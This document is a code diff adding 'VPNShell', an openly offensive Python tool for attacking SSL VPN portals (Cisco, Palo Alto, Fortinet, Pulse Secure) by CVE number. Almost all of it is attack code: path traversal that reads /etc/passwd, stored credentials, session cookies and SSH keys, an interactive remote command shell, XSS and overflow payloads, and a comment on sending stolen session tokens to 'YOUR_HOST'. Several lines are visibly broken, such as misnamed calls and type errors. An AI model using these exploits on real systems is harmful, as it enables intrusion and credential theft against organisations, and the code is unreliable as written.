|
| 1 | +from header_imports import * |
| 2 | + |
| 3 | +if sys.version_info < (3, 0): |
| 4 | + input = raw_input |
| 5 | + |
| 6 | +requests.packages.urllib3.disable_warnings() |
| 7 | + |
| 8 | +with open('cvelist.txt', 'r') as f: |
| 9 | + cvelist = [line.strip() for line in f] |
| 10 | + |
| 11 | +with open('vpnsub.txt', 'r') as f: |
| 12 | + vpnsub = [line.strip() for line in f] |
| 13 | + |
| 14 | +red = '\033[1;31m' |
| 15 | +white = '\033[1;m' |
| 16 | +blue = '\033[1;34m' |
| 17 | +green = '\033[1;32m' |
| 18 | +if sys.platform == 'win32': |
| 19 | + red = white = blue = green = '' |
| 20 | + |
| 21 | +banner = '''%s |
| 22 | + .__ . ..__ . . |
| 23 | + [__). ,._ \ /[__)|\ | |
| 24 | + | \/\/ [ ) \/ | | \| |
| 25 | + V_1.0 |
| 26 | +
|
| 27 | +%s''' % (blue, white) |
| 28 | + |
| 29 | +parser = argparse.ArgumentParser(description='VPNShell 1.0: Pwn everything from SSL VPN service (portal)') |
| 30 | +parser.add_argument('-s', help='local sorce address (or domain)', dest='host', default='') |
| 31 | +parser.add_argument('-p', help='local port number (default: 443)', dest='port', default='') |
| 32 | +parser.add_argument('-n', help='scan the SSL VPN service', dest='scn', action='store_true') |
| 33 | +parser.add_argument('-l', help='list of SSL VPN vulnerabilities', dest='lst', action='store_true') |
| 34 | +parser.add_argument('-e', help='exploit 0day vulnerability', dest='cve', default='') |
| 35 | + |
| 36 | +args = parser.parse_args() |
| 37 | + |
| 38 | +port = args.port |
| 39 | +try: |
| 40 | + if len(str(port)): |
| 41 | + port = ':' + int(format(args.port)) |
| 42 | +except: |
| 43 | + print('Invalid port %s' % port) |
| 44 | + quit() |
| 45 | + |
| 46 | +lst = args.lst |
| 47 | +scn = args.scn |
| 48 | +cve = args.cve |
| 49 | +host = args.host |
| 50 | + |
| 51 | +if not len(host) and lst == False: |
| 52 | + print('No host to pwn.') |
| 53 | + quit() |
| 54 | + |
| 55 | +def printable_char(s): |
| 56 | + return all((ord(c) < 127) and (ord(c) >= 32) for c in s) |
| 57 | + |
| 58 | +def printable(b): |
| 59 | + if printable_char(b): |
| 60 | + return byte |
| 61 | + else: |
| 62 | + return '.' |
| 63 | + |
| 64 | +def cve_2020_3187(host, port): |
| 65 | + url = "https://%s%s/+CSCOE+/session_password.html" % (host, port) |
| 66 | + r = request.get(url, verify=False) |
| 67 | + |
| 68 | + if r.status_code != 200: |
| 69 | + print('The host %s is not vulnerable to CVE-2020-3187' % host) |
| 70 | + else: |
| 71 | + print('Pwned the DoS shell of %s' % host) |
| 72 | + print('') |
| 73 | + print('DoS shell CVE-2020-3187') |
| 74 | + print('(!) Enter files you want to delete') |
| 75 | + while 1: |
| 76 | + data = input('delete> ') |
| 77 | + if data.replace(' ', '') in ['exit', 'quit']: |
| 78 | + break |
| 79 | + if data[0] != '/': |
| 80 | + data = '/'+data |
| 81 | + turl = 'https://%s%s%s' % (host, port, data) |
| 82 | + tr = request.get(turl, verify=False) |
| 83 | + if tr.status_code == 404: |
| 84 | + print('File does not exist') |
| 85 | + continue |
| 86 | + COOKIE = {'token' : '..%s' % data} |
| 87 | + r = request.get(url, verify=False, cookie=COOKIE) |
| 88 | + print('Deleted %s' % data) |
| 89 | + |
| 90 | +def cve_2019_1579(host, port): |
| 91 | + sign = '<msg>Invalid parameters</msg>' |
| 92 | + |
| 93 | + url = "https://%s%s/sslmgr" % (host, port) |
| 94 | + |
| 95 | + data = "scep-profile-name=whoami" |
| 96 | + wh = requests.post(url, data=data, verify=False).text.replace('\n', '') |
| 97 | + if not sign in wh and len(wh) < 50: |
| 98 | + print('Pwned shell from %s to %s' % (host, socket.gethostbyname())) |
| 99 | + print('') |
| 100 | + data = "scep-profile-name=cd" |
| 101 | + t = requests.post(url, data=data, verify=False).text.replace('\n', '') |
| 102 | + o = 'unix' |
| 103 | + if len(t) > 10: |
| 104 | + o = 'win' |
| 105 | + |
| 106 | + if o == 'win': |
| 107 | + data = "scep-profile-name=ver" |
| 108 | + r = requests.post(url, data=data, verify=False).text.replace('\n', '') |
| 109 | + crlf = '\n' |
| 110 | + print(r) |
| 111 | + print('(c) Microsoft Corporation. All rights reserved.') |
| 112 | + print('') |
| 113 | + else: |
| 114 | + data = "scep-profile-name=hostname" |
| 115 | + hostname = requests.post(url, data=data, verify=False).text.replace('\n', '') |
| 116 | + crlf = '' |
| 117 | + if wh == 'root': |
| 118 | + priv = '#' |
| 119 | + else: |
| 120 | + priv = '$' |
| 121 | + |
| 122 | + while 1: |
| 123 | + if o == 'win': |
| 124 | + data = "scep-profile-name=cd" |
| 125 | + d = requests.post(url, data=data, verify=False).text.replace('\n', '') |
| 126 | + i = '%s>' % d |
| 127 | + else: |
| 128 | + data = "scep-profile-name=pwd" |
| 129 | + d = requests.post(url, data=data, verify=False).text.replace('\n', '') |
| 130 | + if '/home/%s' % wh in d: |
| 131 | + pth = d.replace('/home/%s' % wh, '~') |
| 132 | + i = '%s%s@%s%s:%s%s%s%s ' % (green, wh, hostname, white, blue, pth, white, priv) |
| 133 | + |
| 134 | + buff = input(i) |
| 135 | + data = "scep-profile-name=%s" % buff |
| 136 | + r = requests.post(url, data=data, verify=False).text.replace('\n', '') |
| 137 | + print(r + crlf) |
| 138 | + else: |
| 139 | + print('The host %s is not vulnerable to CVE-2019-1579' % host) |
| 140 | + |
| 141 | +def cve_2018_13380(host, port): |
| 142 | + url1 = 'https://%s%s/remote/error?errmsg=ABABAB--\%3E\%3Cscript\%3Ealert(1)\%3C/script\%3E' % (host, port) |
| 143 | + url2 = 'https://%s%s/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29' % (host, port) |
| 144 | + url3 = 'https://%s%s/message?title=x&msg=%26%23<svg/onload=alert(1)>;' % (host, port) |
| 145 | + |
| 146 | + print('Got XSS payloads for %s: ' % host) |
| 147 | + print(' - %s' % red + url1) |
| 148 | + print(' - %s' % red + url2) |
| 149 | + print(' - %s' % red + url3) |
| 150 | + |
| 151 | +def cve_2018_13379(host, port): |
| 152 | + url = 'https://%s%s/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession' % (host, port) |
| 153 | + r = requests.get(url, verify=False, stream=True, timeout=3) |
| 154 | + img = r.raw.read() |
| 155 | + |
| 156 | + if "var fgt_lang =" in str(img) and r.status_code == 200: |
| 157 | + memory_addr = 0 |
| 158 | + rb = b'' |
| 159 | + _str = '' |
| 160 | + while True: |
| 161 | + chunk = img.read(8192) |
| 162 | + if chunk: |
| 163 | + for b in chunk: |
| 164 | + rb += b |
| 165 | + else: |
| 166 | + break |
| 167 | + |
| 168 | + print('Dumped the memory buffer of %s:' % host) |
| 169 | + for byte in rb: |
| 170 | + _str += printable(byte) |
| 171 | + if memory_addr%61 == 60: |
| 172 | + if _str != '.............................................................': |
| 173 | + print(_str) |
| 174 | + _str = '' |
| 175 | + |
| 176 | + memory_addr += 1 |
| 177 | + |
| 178 | + else: |
| 179 | + print('The host %s is not vulnerable to CVE-2018-13379' % host) |
| 180 | + |
| 181 | +def cve_2018_13381(host, port): |
| 182 | + data = { |
| 183 | + 'title': 'x', |
| 184 | + 'msg': '&#' + '<'*(0x20000) + ';<', |
| 185 | + } |
| 186 | + r = requests.post('https://%s%s/message' % (host, port), data=data) |
| 187 | + print('Heaped overflow the host %s' % host) |
| 188 | + |
| 189 | +def cve_2019_11507(host, port): |
| 190 | + url = 'https://%s%s/dana/home/cts_get_ica.cgi?bm_id=x&vdi=1&appname=aa\%0d\%0aContent-Type::text/html\%0d\%0aContent-Disposition::inline\%0d\%0aaa:bb<svg/onload=alert(document.domain)>' % (host, port) |
| 191 | + print('Got the XSS payload for %s:' % host) |
| 192 | + print(' - %s' % red + url) |
| 193 | + |
| 194 | +def cve_2019_11510(host, port): |
| 195 | + url = 'https://%s%s/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/' % (host, port) |
| 196 | + r = requests.get(url, verify=False).text |
| 197 | + |
| 198 | + if 'root' in r: |
| 199 | + print('Extracted the server database from %s' % host) |
| 200 | + print('') |
| 201 | + |
| 202 | + url = 'https://%s%s/dana-na/../dana/html5acc/guacamole/../../../../../../../data/runtime/mtmp/lmdb/dataa/data.mdb?/dana/html5acc/guacamole/' % (host, port) |
| 203 | + r = requests.get(url, verify=False).text |
| 204 | + |
| 205 | + if len(r) > 5: |
| 206 | + print('Plaintext usernames and password:') |
| 207 | + for l in r.split('\n'): |
| 208 | + print(' - ' + l) |
| 209 | + else: |
| 210 | + print('Plaintext usernames and password: Not found') |
| 211 | + |
| 212 | + url = 'https://%s%s/dana-na/../dana/html5acc/guacamole/../../../../../../../data/runtime/mtmp/lmdb/randomVal/data.mdb?/dana/html5acc/guacamole/' % (host, port) |
| 213 | + r = requests.get(url, verify=False).text.replace('\n', '') |
| 214 | + |
| 215 | + print('Session cookies (sessionids): DSID=%s' % r) |
| 216 | + url = 'https://%s%s/dana-na/../dana/html5acc/guacamole/../../../../../../../.ssh/authorized_keys?/dana/html5acc/guacamole/' % (host, port) |
| 217 | + |
| 218 | + ssh = requests.get(url, verify=False).text |
| 219 | + |
| 220 | + if len(ssh) > 50: |
| 221 | + print('SSH authorized_keys: %s' % ssh) |
| 222 | + else: |
| 223 | + print('SSH authorized_keys not found') |
| 224 | + |
| 225 | + else: |
| 226 | + print('The host %s is not vulnerable to CVE-2018-13379' % host) |
| 227 | + |
| 228 | +def cve_2019_11542(host, port): |
| 229 | + url = 'https://%s%s/dana-admin/auth/hc.cgi?platform=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&policyid=0' % (host, port) |
| 230 | + r = requests.get(url, verify=False) |
| 231 | + print('Stack buffer overflowed the host %s' % host) |
| 232 | + |
| 233 | +def cve_2019_11540(host, port): |
| 234 | + payload = '''<script src="https://%s%s/dana/cs/cs.cgi?action=appletobj"></script> |
| 235 | +<script> |
| 236 | + window.onload = function() { |
| 237 | + window.document.writeln = function (msg) { |
| 238 | + if (msg.indexOf("DSID") >= 0) alert(msg) |
| 239 | + } |
| 240 | + ReplaceContent() |
| 241 | + } |
| 242 | +</script> |
| 243 | +// DSID can also be used as the CSRF Token |
| 244 | +// Change from `alert(msg)` to `document.replace("https://YOUR_HOST/?DSID="+msg)` if you want to exploit''' % (host, port) |
| 245 | + print('Got the XSSI script payload for %s:' % host) |
| 246 | + print(' - - - - - - - - - -%s' % red) |
| 247 | + print(payload) |
| 248 | + print('%s - - - - - - - - - -' % white) |
| 249 | + |
| 250 | +def scan(host): |
| 251 | + found = False |
| 252 | + for sub in vpnsub: |
| 253 | + url = 'https://%s.%s' % (sub, host) |
| 254 | + try: |
| 255 | + r = requests.get(url, verify=False, timeout=4) |
| 256 | + print('Found a VPN host: %s%s%s' % (red, url.replace('https://', ''), white)) |
| 257 | + found = True |
| 258 | + except: |
| 259 | + pass |
| 260 | + |
| 261 | + |
| 262 | +print(banner) |
| 263 | + |
| 264 | +if lst == True: |
| 265 | + print('List of SSL VPN 0day vulnerabilities in the database:') |
| 266 | + for x in cvelist: |
| 267 | + print(' - ' + x) |
| 268 | + print('') |
| 269 | + quit() |
| 270 | +elif scn == True: |
| 271 | + print('Scanning for any %s SSL VPN service ...' % host) |
| 272 | + if scan(host) == False: |
| 273 | + print("Can't found any SSL VPN service for %s" % host) |
| 274 | + print('') |
| 275 | + quit() |
| 276 | + |
| 277 | +if not cve.upper() in cvelist: |
| 278 | + print('No 0day exploit found for %s' % cve) |
| 279 | + quit() |
| 280 | +else: |
| 281 | + exec('%s(host, port)' % cve.lower().replace('-', '_')) |
| 282 | + |
| 283 | +print('') |
0 commit comments